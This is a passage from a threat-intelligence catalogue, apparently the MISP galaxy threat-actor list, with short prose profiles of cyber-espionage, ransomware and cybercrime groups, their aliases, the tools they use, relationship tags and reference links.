BRONZE SPIRAL has been associated with previous intrusions involving the targeting of ManageEngine servers, maintenance of long-term access to periodically harvest credentials and exfiltrate data, and espionage or theft of intellectual property. The threat group makes extensive use of native system tools and 'living off the land' techniques.

Table 11462. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/solarstorm-supernova">https://unit42.paloaltonetworks.com/solarstorm-supernova</a></td>
</tr>
<tr>
<td><a href="https://www.guidepointsecurity.com/blog/supernova-solarwinds-net-webshell-analysis">https://www.guidepointsecurity.com/blog/supernova-solarwinds-net-webshell-analysis</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/supernova-web-shell-deployment-linked-to-spiral-threat-group">https://www.secureworks.com/blog/supernova-web-shell-deployment-linked-to-spiral-threat-group</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a</a></td>
</tr>
</tbody>
</table>
BRONZE VAPOR

BRONZE VAPOR is a targeted threat group assessed with moderate confidence to be of Chinese origin. Artefacts from tools associated with this group and open source reporting on related incidents indicate that BRONZE VAPOR have operated since at least 2017. The group conducts espionage against multiple industries including semiconductors, aviation and telecommunications. CTU researchers assess BRONZE VAPOR's intent to be information theft, with operations focused on intellectual property (semiconductors) and personally identifiable information such as traveller records (aviation). Compromise of telecommunications companies can yield personally identifiable information and meta data on client communications such as Call Data Records (CDR).

Prior to 2019 their operational focus, with some exceptions, revolved around targets in East Asia particularly Taiwan with it's thriving semiconductor industry. In 2021 details emerged in open source of attacks on at least one European semiconductor company believed to date back to 2017. In 2019 BRONZE VAPOR attacked one of more entities in the European airlines sector. The group gains initial access via VPN services, may use spearphishing with 'Letter of Appointment' themed lures, and deploys Cobalt Strike along with custom data exfiltration tools to target organizations. Post-intrusion activity involves living-of-the-land using legitimate tools and commands available within victim environment as well as using AceHash for credential harvesting, WATERCYCLE for data exfiltration and STOCKPIPE for proxying information through Microsoft Exchange servers over email.

BRONZE VAPOR uses a set of tactics that, although not individually unique, when viewed in aggregate create a relatively distinct playbook. Intrusions begin with credential based attacks against an existing remote access solution (Citrix, VPN etc.) or B2B network access. Cobalt Strike is deployed into the environment and further access is then conducted via Cobalt Strike Beacon and other features of the platform. Sharphound is deployed to map out the victim’s Active Directory infrastructure and and collect critical information about the domain including important account names. Command and control infrastructure is hosted on subdomains of Azure and Appspot services to blend in with legitimate traffic. The threat actor also registers their own domains for command and control, often with a "sync" or "update" related theme. WinRAR is commonly used for compressing data prior to exfiltration. Filenames for these archives often involve a string of numbers and variations of the word "update". Data is exfiltrated using WATERCYCLE to cloud based platforms such as OneDrive and GoogleDrive.

The tag is: *misp-galaxy:threat-actor="BRONZE VAPOR"

Table 11463. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Vicious Panda

Check Point Research discovered a new campaign against the Mongolian public sector, which takes advantage of the current Coronavirus scare, in order to deliver a previously unknown malware...
implant to the target. A closer look at this campaign allowed us to tie it to other operations which were carried out by the same anonymous group, dating back to at least 2016. Over the years, these operations targeted different sectors in multiple countries, such as Ukraine, Russia, and Belarus.

The tag is: *misp-galaxy:threat-actor*="Vicious Panda"

Vicious Panda is also known as:

- SixLittleMonkeys

*Table 11464. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/microcin-is-here/97353">https://securelist.com/microcin-is-here/97353</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636">https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia">https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign">https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloalto.networks/unit42-threat-actors-target-government-belarus-using-cmstar-trojan">https://unit42.paloalto.networks/unit42-threat-actors-target-government-belarus-using-cmstar-trojan</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/apt-trends-report-q2-2020/97937">https://securelist.com/apt-trends-report-q2-2020/97937</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/it-threat-evolution-q2-2020/98230">https://securelist.com/it-threat-evolution-q2-2020/98230</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/apt-trends-report-q3-2021/104708">https://securelist.com/apt-trends-report-q3-2021/104708</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/">https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/</a></td>
</tr>
</tbody>
</table>

**Red Nue**

Red Nue, active since at least 2017, is known for its use of the multi-platform LootRAt backdoor, also known as ReverseWindow. LootRAT has variants for Windows and Macintosh (reported in open source as Demsty), as well as an Android variant known as SpyDealer. Red Nue has also used another Windows backdoor known as WinDealer since at least 2019, when it deployed it to targets as part of a watering hole campaign on a Chinese news website for the Chinese diaspora community. Parts of Asia feature heavily in Red Nue's victimology.

The tag is: *misp-galaxy:threat-actor*="Red Nue"

Red Nue is also known as:

- LuoYu
### Pickaxe

Prying Libra, also known as Pickaxe, is a threat actor active since at least August 2017, and continues to remain active to this day. The adversary's goal is to install and maintain a popular cryptocurrency miner on the victim's machine. The miner in question is an open-source tool named XMRig that generates the Monero cryptocurrency. Malware is delivered via downloads through the popular Adfly advertisement platform. Users are often mislead into clicking on a malicious advertisement that results in the payload being delivered to the victim. Once installed, the malware leverages VBS scripts and redirection services, such as bitly, to ultimately download and execute XMRig. Over 15 million confirmed victims have been discovered to be infected in recent campaigns, with actual numbers likely to be between 30-45 million victims. The victims are found across the globe, with high concentrations in Thailand, Vietnam, Egypt, Indonesia, and Turkey.

The tag is: `misp-galaxy:threat-actor="Pickaxe"`

Pickaxe is also known as:

- Prying Libra

### Watchdog

Thief Libra is a cloud-focused threat group that has a history of cryptojacking operations as well as cloud service platform credential scraping. They were first known to operate on January 27, 2019. They use a variety of custom build Go Scripts as well as repurposed cryptojacking scripts from other groups including TeamTNT. They are currently considered to be an opportunistic threat group that targets exposed cloud instances and applications.

The tag is: `misp-galaxy:threat-actor="Watchdog"`

Watchdog is also known as:
• Thief Libra

**Table 11467. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/thieflibra/">https://unit42.paloaltonetworks.com/atoms/thieflibra/</a></td>
<td></td>
</tr>
</tbody>
</table>

**Returned Libra**

Returned Libra, also known as 8220 Mining Group, is a cloud threat actor group that has been active since at least 2017. Tools commonly employed during their operations are PwnRig or DBUsed which are customized variants of the XMRig Monero mining software. The Returned Libra mining group is believed to have originated from a GitHub fork of the Rocke group’s software. Returned Libra has elevated its mining operations with the use of cloud service platform credential scrapping.

The tag is: *misp-galaxy:threat-actor*="Returned Libra"

Returned Libra is also known as:

• 8220 Mining Group

**Table 11468. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/returnedlibra/">https://unit42.paloaltonetworks.com/atoms/returnedlibra/</a></td>
<td></td>
</tr>
</tbody>
</table>

**TianWu**

The tag is: *misp-galaxy:threat-actor*="TianWu"

**Table 11469. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies">https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/avast/ioc/tree/master/OperationDragonCastling">https://github.com/avast/ioc/tree/master/OperationDragonCastling</a></td>
<td></td>
</tr>
</tbody>
</table>

**SLIME29**

The tag is: *misp-galaxy:threat-actor*="SLIME29"

**Table 11470. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

7168
GOBLIN PANDA

Goblin Panda is one of a handful of elite Chinese advanced persistent threat (APT) groups. Most Chinese APTs target the United States and NATO, but Goblin Panda focuses primarily on Southeast Asia.

The tag is: *misp-galaxy:threat-actor="GOBLIN PANDA"

GOBLIN PANDA is also known as:

- Conimes
- Cycldek

Table 11471. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/cycldek-bridging-the-air-gap/97157/">https://securelist.com/cycldek-bridging-the-air-gap/97157/</a></td>
</tr>
</tbody>
</table>

TA558

Since 2018, security researchers tracked a financially-motivated cybercrime actor, TA558, targeting hospitality, travel, and related industries located in Latin America and sometimes North America, and western Europe. The actor sends malicious emails written in Portuguese, Spanish, and sometimes English. The emails use reservation-themed lures with business-relevant themes such as hotel room bookings. The emails may contain malicious attachments or URLs aiming to distribute one of at least 15 different malware payloads.

The tag is: *misp-galaxy:threat-actor="TA558"

PARINACOTA

One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive group that frequently drops Wadhrama as payload. PARINACOTA impacts three to four organizations every week and appears quite resourceful: during the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group's goals and payloads have shifted over time, influenced by
the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware. The group most often employs a smash-and-grab method, whereby they attempt to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment. PARINACOTA’s attacks typically brute forces their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors. The group adopted the RDP brute force technique that the older ransomware called Samas (also known as SamSam) infamously used. Other malware families like GandCrab, MegaCortext, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.

The tag is: misp-galaxy:threat-actor="PARINACOTA"

View relationships graph

PARINACOTA has relationships with:

- uses: misp-galaxy:ransomware="Wadhrama" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="PARINACOTA" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:microsoft-activity-group="Wine Tempest" with estimative-language:likelihood-probability="likely"

Table 11472. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/">https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/</a></td>
</tr>
</tbody>
</table>

**Red Dev 17**

In 2021, PwC started tracking a series of intrusions under the moniker of Red Dev 17 that they assess were highly likely conducted by a China-based threat actor. Their analysis suggests Red Dev 17 has been active since at least 2017. Red Dev 17’s observed targets are mainly in India, and include the Indian military, a multinational India-based technology company, and a state energy company. They assess that it is highly probable that the threat actor behind intrusions associated with Red Dev 17 is also responsible for the campaign known in open source as Operation NightScout. Red Dev 17 is a user of the 8.t document weaponisation framework (also known as RoyalRoad), and abuses benign utilities such as Logitech or Windows Defender binaries to sideload
and execute Chinoxy or PoisonIvy variants on victim systems. They identified capability and infrastructure links between Red Dev 17 and the threat actor they call Red Hariasa (aka FunnyDream APT), as well as infrastructure overlaps with Red Wendigo (aka Icefog, RedFoxtrot), and with ShadowPad C2 servers. At this time, they do not have sufficient evidence to directly link Red Dev 17 to any of these threat actors. However, They assess with realistic probability that Red Dev 17 operates within a cluster of threat actors that share tools and infrastructure, as well as a strong targeting focus on Southeast Asia and Central Asia.

The tag is: `misp-galaxy:threat-actor="Red Dev 17"

### Aoqin Dragon

SentinelLabs has uncovered a cluster of activity beginning at least as far back as 2013 and continuing to the present day, primarily targeting organizations in Southeast Asia and Australia. They assess that the threat actor's primary focus is espionage and relates to targets in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. We track this activity as 'Aoqin Dragon'. The threat actor has a history of using document lures with pornographic themes to infect users and makes heavy use of USB shortcut techniques to spread the malware and infect additional targets. Attacks attributable to Aoqin Dragon typically drop one of two backdoors, Mongall and a modified version of the open source Heyoka project.

The tag is: `misp-galaxy:threat-actor="Aoqin Dragon"

Aoqin Dragon is also known as:

- UNC94

### Dangerous Savanna

Malicious campaign called DangerousSavanna has been targeting multiple major financial service groups in French-speaking Africa for the last two years. The threat actors behind this campaign use spear-phishing as a means of initial infection, sending emails with malicious attachments to the employees of financial institutions in at least five different French-speaking countries: Ivory Coast,
Morocco, Cameroon, Senegal, and Togo. DangerousSavanna tends to install relatively unsophisticated software tools in the infected environments. These tools are both self-written and based on open-source projects such as Metasploit, PoshC2, DWservice, and AsyncRAT. The threat actors' creativity is on display in the initial infection stage, as they persistently pursue the employees of the targeted companies, constantly changing infection chains that utilize a wide range of malicious file types, from self-written executable loaders and malicious documents, to ISO, LNK, JAR and VBE files in various combinations. The evolving infection chains by the threat actor reflect the changes in the threat landscape seen over the past few years as infection vectors became more and more sophisticated and diverse.

The tag is: `misp-galaxy:threat-actor="DangerousSavanna"`

### Table 11475. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

## Hezb

Hezb is a group deploying cryptominers when new exploit are available for public facing vulnerabilities. The name is after the miner process they deploy.

The tag is: `misp-galaxy:threat-actor="Hezb"`

### Table 11476. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

## NoName057(16)

NoName057(16) is performing DDoS attacks on websites belonging to governments, news agencies, armies, suppliers, telecommunications companies, transportation authorities, financial institutions, and more in Ukraine and neighboring countries supporting Ukraine, like Ukraine itself, Estonia, Lithuania, Norway, and Poland.

The tag is: `misp-galaxy:threat-actor="NoName057(16)"`

NoName057(16) is also known as:

- NoName057
- NoName05716
- 05716nnm
- Nnm05716

### Table 11477. Table References
**BITWISE SPIDER**

BITWISE SPIDER has recently and quickly become a significant player in the big game hunting (BGH) landscape. Their dedicated leak site (DLS) has received the highest number of victims posted each month since July 2021 compared to other adversary DLSs due to the growing popularity and effectiveness of LockBit 2.0.

The tag is: `misp-galaxy:threat-actor="BITWISE SPIDER"`

View relationships graph

BITWISE SPIDER has relationships with:

- uses: `misp-galaxy:ransomware="LockBit"` with `estimative-language:likelihood-probability="likely"`
- uses: `misp-galaxy:malpedia="LockBit (Windows)"` with `estimative-language:likelihood-probability="likely"`
- uses: `misp-galaxy:malpedia="LockBit (ELF)"` with `estimative-language:likelihood-probability="likely"

*Table 11478. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://socradar.io/lockbit-3-another-upgrade-to-worlds-most-active-ransomware/">https://socradar.io/lockbit-3-another-upgrade-to-worlds-most-active-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://security.packt.com/understanding-lockbit/">https://security.packt.com/understanding-lockbit/</a></td>
</tr>
</tbody>
</table>

**Void Balaur**

Void Balaur is a highly active hack-for-hire / cyber mercenary group with a wide range of known target types across the globe. Their services have been observed for sale to the public online since at least 2016. Services include the collection of private data and access to specific online email and social media services, such as Gmail, Outlook, Telegram, Yandex, Facebook, Instagram, and business emails.

The tag is: `misp-galaxy:threat-actor="Void Balaur"`

*Table 11479. Table References*
### APT-C-60

APT-C-60

The tag is: `misp-galaxy:threat-actor="APT-C-60"`

APT-C-60 is also known as:

- APT-Q-12

---

### RomCom

ROMCOM is an evolving and sophisticated threat actor group that has been using the malware tool ROMCOM for espionage and financially motivated attacks. They have targeted organizations in Ukraine and NATO countries, including military personnel, government agencies, and political leaders. The ROMCOM backdoor is capable of stealing sensitive information and deploying other malware, showcasing the group's adaptability and growing sophistication.

The tag is: `misp-galaxy:threat-actor="RomCom"`

RomCom is also known as:

- Storm-0978

---

### Table 11480. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mp.weixin.qq.com/s/Hzq4_tWmunDpKfHTlZNM-A">https://mp.weixin.qq.com/s/Hzq4_tWmunDpKfHTlZNM-A</a></td>
</tr>
<tr>
<td><a href="https://cert.360.cn/report/detail?id=6c9a1b56e4ceb84a8ab9e96044429adc">https://cert.360.cn/report/detail?id=6c9a1b56e4ceb84a8ab9e96044429adc</a></td>
</tr>
</tbody>
</table>

### Table 11481. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
GOLD PRELUDE

GOLD PRELUDE is a financially motivated cybercriminal threat group that operates the SocGholish (aka FAKEUPDATES) malware distribution network. GOLD PRELUDE operates a large global network of compromised websites, frequently running vulnerable content management systems (CMS), that redirect into a malicious traffic distribution system (TDS). The TDS, which researchers at Avast have named Parrot TDS, uses opaque criteria to select victims to serve a fake browser update page. These pages, which are customized to the specific visiting browser software, download the JavaScript-based SocGholish payload frequently embedded within a compressed archive.

The tag is: misp-galaxy:threat-actor="GOLD PRELUDE"

GOLD PRELUDE is also known as:

- TA569
- UNC1543

View relationships graph

GOLD PRELUDE has relationships with:

- uses: misp-galaxy:tool="FakeUpdates" with estimative-language:likelihood-probability="likely"

Table 11482. Table References

Links

https://www.secureworks.com/research/threat-profiles/gold-prelude

BazarCall

BazarCall campaigns forgo malicious links or attachments in email messages in favor of phone numbers that recipients are misled into calling. It’s a technique reminiscent of vishing and tech support scams where potential victims are being cold called by the attacker, except in BazarCall’s case, targeted users must dial the number. And when they do, the users are connected with actual humans on the other end of the line, who then provide step-by-step instructions for installing malware into their devices.

The tag is: misp-galaxy:threat-actor="BazarCall"
BazarCall is also known as:

- BazzarCall
- BazaCall

Table 11483. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Evasive Panda**

Evasive Panda is an APT group that has been active since at least 2012, conducting cyberespionage targeting individuals, government institutions, and organizations.

The tag is: `misp-galaxy:threat-actor="Evasive Panda"`

Evasive Panda is also known as:

- BRONZE HIGHLAND

Table 11484. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virusbulletin.com/virusbulletin/2014/02/needle-haystack">https://www.virusbulletin.com/virusbulletin/2014/02/needle-haystack</a></td>
</tr>
</tbody>
</table>

**TAG-53**

A Russia-linked threat actor tracked as TAG-53 is running phishing campaigns impersonating various defense, aerospace, and logistic companies, according to The Record by Recorded Future. Recorded Future’s Insikt Group identified overlaps with a threat actor tracked by other companies as Callisto Group, COLDRIVER, and SEABORGIUM.

The tag is: `misp-galaxy:threat-actor="TAG-53"`

View relationships graph

TAG-53 has relationships with:

- overlaps: `misp-galaxy:threat-actor="Callisto"` with `estimative-language:likelihood-probability="likely"`
Malteiro

This group of cybercriminals is named Malteiro by SCILabs, they operate and distribute the URSA/Mispadu banking trojan.

The tag is: `misp-galaxy:threat-actor="Malteiro"`

View relationships graph

Malteiro has relationships with:

- delivers: `misp-galaxy:banker="Malteiro"` with estimative-language:likelihood-probability="likely"

Moskalvzapoe

The tag is: `misp-galaxy:threat-actor="Moskalvzapoe"`

Moskalvzapoe is also known as:

- MAN1
- TA511

View relationships graph

Moskalvzapoe has relationships with:

- uses: `misp-galaxy:malpedia="Hancitor"` with estimative-language:likelihood-probability="very-likely"
- uses: `misp-galaxy:mitre-malware="Hancitor - S0499"` with estimative-language:likelihood-probability="very-likely"
TA570

One of the most active Qbot malware affiliates, Proofpoint has tracked the large cybercrime threat actor TA570 since 2018.

The tag is: `misp-galaxy:threat-actor="TA570"`

TA570 is also known as:

- DEV-0450

View relationships graph

TA570 has relationships with:

- uses: `misp-galaxy:malpedia="QakBot"` with `estimative-language:likelihood-probability="very-likely"`

- uses: `misp-galaxy:mitre-malware="QakBot - S0650"` with `estimative-language:likelihood-probability="very-likely"`

TA575

TA575 is a Dridex affiliate tracked by Proofpoint since late 2020. This group distributes malware such as Dridex, Qakbot, and WastedLocker via malicious URLs, Office attachments, and password-protected files. On average, TA575 distributes almost 4,000 messages per campaign impacting hundreds of organizations.
The tag is: \textit{misp-galaxy:threat-actor="TA575"}

View relationships graph

TA575 has relationships with:

- uses: \textit{misp-galaxy:malpedia="Dridex"} with \textit{estimative-language:likelihood-probability="very-likely"}
- uses: \textit{misp-galaxy:mitre-malware="Dridex - S0384"} with \textit{estimative-language:likelihood-probability="very-likely"}
- uses: \textit{misp-galaxy:mitre-malware="QakBot - S0650"} with \textit{estimative-language:likelihood-probability="very-likely"}
- uses: \textit{misp-galaxy:malpedia="QakBot"} with \textit{estimative-language:likelihood-probability="very-likely"}
- uses: \textit{misp-galaxy:malpedia="WastedLocker"} with \textit{estimative-language:likelihood-probability="very-likely"}
- uses: \textit{misp-galaxy:mitre-malware="WastedLocker - S0612"} with \textit{estimative-language:likelihood-probability="very-likely"}

\textit{Table 11489. Table References}

\begin{tabular}{|l|}
\hline
\textbf{Links} \\
\hline
https://www.zdnet.com/article/ta575-criminal-group-using-squid-game-lures-for-dridex-malware/ \\
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware \\
\hline
\end{tabular}

\section*{TA577}

TA577 is a prolific cybercrime threat actor tracked by Proofpoint since mid-2020. This actor conducts broad targeting across various industries and geographies, and Proofpoint has observed TA577 deliver payloads including Qbot, IcedID, SystemBC, SmokeLoader, Ursnif, and Cobalt Strike.

The tag is: \textit{misp-galaxy:threat-actor="TA577"}

TA577 is also known as:

- Hive0118

View relationships graph

TA577 has relationships with:

- uses: \textit{misp-galaxy:malpedia="QakBot"} with \textit{estimative-language:likelihood-probability="likely"}
TA2536

TA2536, which has been active since at least 2015, is likely Nigerian based on its unique linguistic style, tactics and tools. It uses keyloggers such as HawkEye and distinctive stylometric features in typo-squatted domains that resemble legitimate names and the use of recurring names and substrings in email addresses.

The tag is: `misp-galaxy:threat-actor="TA2536"`

### View relationships graph

TA2536 has relationships with:

- uses: `misp-galaxy:malpedia="Nanocore RAT"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:malpedia="Agent Tesla"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:malpedia="Remcos"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:malpedia="LokiBot"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:malpedia="Formbook"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:malpedia="HawkEye Keylogger"` with estimative-language:likelihood-probability="likely"
DEV-0147

DEV-0147 is a China-based cyber espionage actor was observed compromising diplomatic targets in South America, a notable expansion of the group’s data exfiltration operations that traditionally targeted gov’t agencies and think tanks in Asia and Europe. DEV-0147 is known to use tools like ShadowPad, a remote access trojan associated with other China-based actors, to maintain persistent access, and QuasarLoader, a webpack loader, to deploy additional malware. DEV-0147’s attacks in South America included post-exploitation activity involving the abuse of on-premises identity infrastructure for recon and lateral movement, and the use of Cobalt Strike for command and control and data exfiltration.

The tag is: `misp-galaxy:threat-actor="DEV-0147"`

TA406

TA406 is engaging in malware distribution, phishing, intelligence collection, and cryptocurrency theft, resulting in a wide range of criminal activities.

The tag is: `misp-galaxy:threat-actor="TA406"`

View relationships graph

TA406 has relationships with:

- part-of: `misp-galaxy:threat-actor="Kimsuky"` with estimative-language:likelihood-probability="likely"

APT42

Iranian state-sponsored cyber espionage group tasked with conducting information collection and surveillance operations against individuals and organizations of strategic interest to the Iranian government.
The tag is: `misp-galaxy:threat-actor="APT42"`

APT42 is also known as:

- UNC788

View relationships graph

APT42 has relationships with:

- similar: `misp-galaxy:threat-actor="APT35"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:threat-actor="Charming Kitten"` with `estimative-language:likelihood-probability="likely"`

Table 11494. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/apt42-charms-cons-compromises">https://www.mandiant.com/resources/blog/apt42-charms-cons-compromises</a></td>
</tr>
</tbody>
</table>

**TA453**

TA453 has employed the use of compromised accounts, malware, and confrontational lures to go after targets with a range of backgrounds from medical researchers to realtors to travel agencies.

The tag is: `misp-galaxy:threat-actor="TA453"`

View relationships graph

TA453 has relationships with:

- similar: `misp-galaxy:threat-actor="APT42"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:threat-actor="APT35"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:threat-actor="Charming Kitten"` with `estimative-language:likelihood-probability="likely"`

Table 11495. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Chamelgang**

In Q2 2021, the PT Expert Security Center incident response team conducted an investigation in an
energy company. The investigation revealed that the company’s network had been compromised by an unknown group for the purpose of data theft. They gave the group the name ChamelGang (from the word “chameleon”), because the group disguised its malware and network infrastructure under legitimate services of Microsoft, TrendMicro, McAfee, IBM, and Google.

The tag is: misp-galaxy:threat-actor="Chamelgang"

View relationships graph

Chamelgang has relationships with:

- uses: misp-galaxy:malpedia="DoorMe" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"

Table 11496. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Karakurt**

Karakurt actors have employed a variety of tactics, techniques, and procedures (TTPs), creating significant challenges for defense and mitigation. Karakurt victims have not reported encryption of compromised machines or files; rather, Karakurt actors have claimed to steal data and threatened to auction it off or release it to the public unless they receive payment of the demanded ransom. Known ransom demands have ranged from $25,000 to $13,000,000 in Bitcoin, with payment deadlines typically set to expire within a week of first contact with the victim.

The tag is: misp-galaxy:threat-actor="Karakurt"

Karakurt is also known as:

- Karakurt Lair

View relationships graph

Karakurt has relationships with:

- uses: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="MimiKatz" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:rat="AnyDesk" with estimative-language:likelihood-probability="likely"

Table 11497. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a</a></td>
</tr>
</tbody>
</table>
DEV-0270

Microsoft threat intelligence teams have been tracking multiple ransomware campaigns and have tied these attacks to DEV-0270, also known as Nemesis Kitten, a sub-group of Iranian actor PHOSPHORUS. Microsoft assesses with moderate confidence that DEV-0270 conducts malicious network operations, including widespread vulnerability scanning, on behalf of the government of Iran.

The tag is: misp-galaxy:threat-actor="DEV-0270"

DEV-0270 is also known as:

- Nemesis Kitten
- Storm-0270

View relationships graph

DEV-0270 has relationships with:

- part-of: misp-galaxy:threat-actor="APT35" with estimative-language:likelihood-probability="likely"

Table 11498. Table References

Links


Prophet Spider

PROPHET SPIDER is an eCrime actor, active since at least May 2017, that primarily gains access to victims by compromising vulnerable web servers, which commonly involves leveraging a variety of publicly disclosed vulnerabilities. The adversary has likely functioned as an access broker — handing off access to a third party to deploy ransomware — in multiple instances.

The tag is: misp-galaxy:threat-actor="Prophet Spider"

Prophet Spider is also known as:

- GOLD MELODY
- UNC961

View relationships graph

Prophet Spider has relationships with:
• uses: misp-galaxy:malpedia="Egregor" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:malpedia="Mount Locker" with estimative-language:likelihood-probability="likely"

Table 11499. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/">https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/prophet-spider-exploits-citrix-sharefile/">https://www.crowdstrike.com/blog/prophet-spider-exploits-citrix-sharefile/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/gold-melody-profile-of-an-initial-access-broker">https://www.secureworks.com/research/gold-melody-profile-of-an-initial-access-broker</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated">https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated</a></td>
</tr>
</tbody>
</table>

TA866

According to Proofpoint, TA866 is a newly identified threat actor that distributes malware via email utilizing both commodity and custom tools. While most of the activity observed occurred since October 2022, Proofpoint researchers identified multiple activity clusters since 2019 that overlap with TA866 activity. Most of the activity recently observed by Proofpoint suggests recent campaigns are financially motivated, however assessment of historic related activities suggests a possible, additional espionage objective.

The tag is: misp-galaxy:threat-actor="TA866"

View relationships graph

TA866 has relationships with:

- uses: misp-galaxy:tool="WasabiSeed" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="Screenshotter" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:stealer="Rhadamanthys" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="AHK Bot" with estimative-language:likelihood-probability="likely"
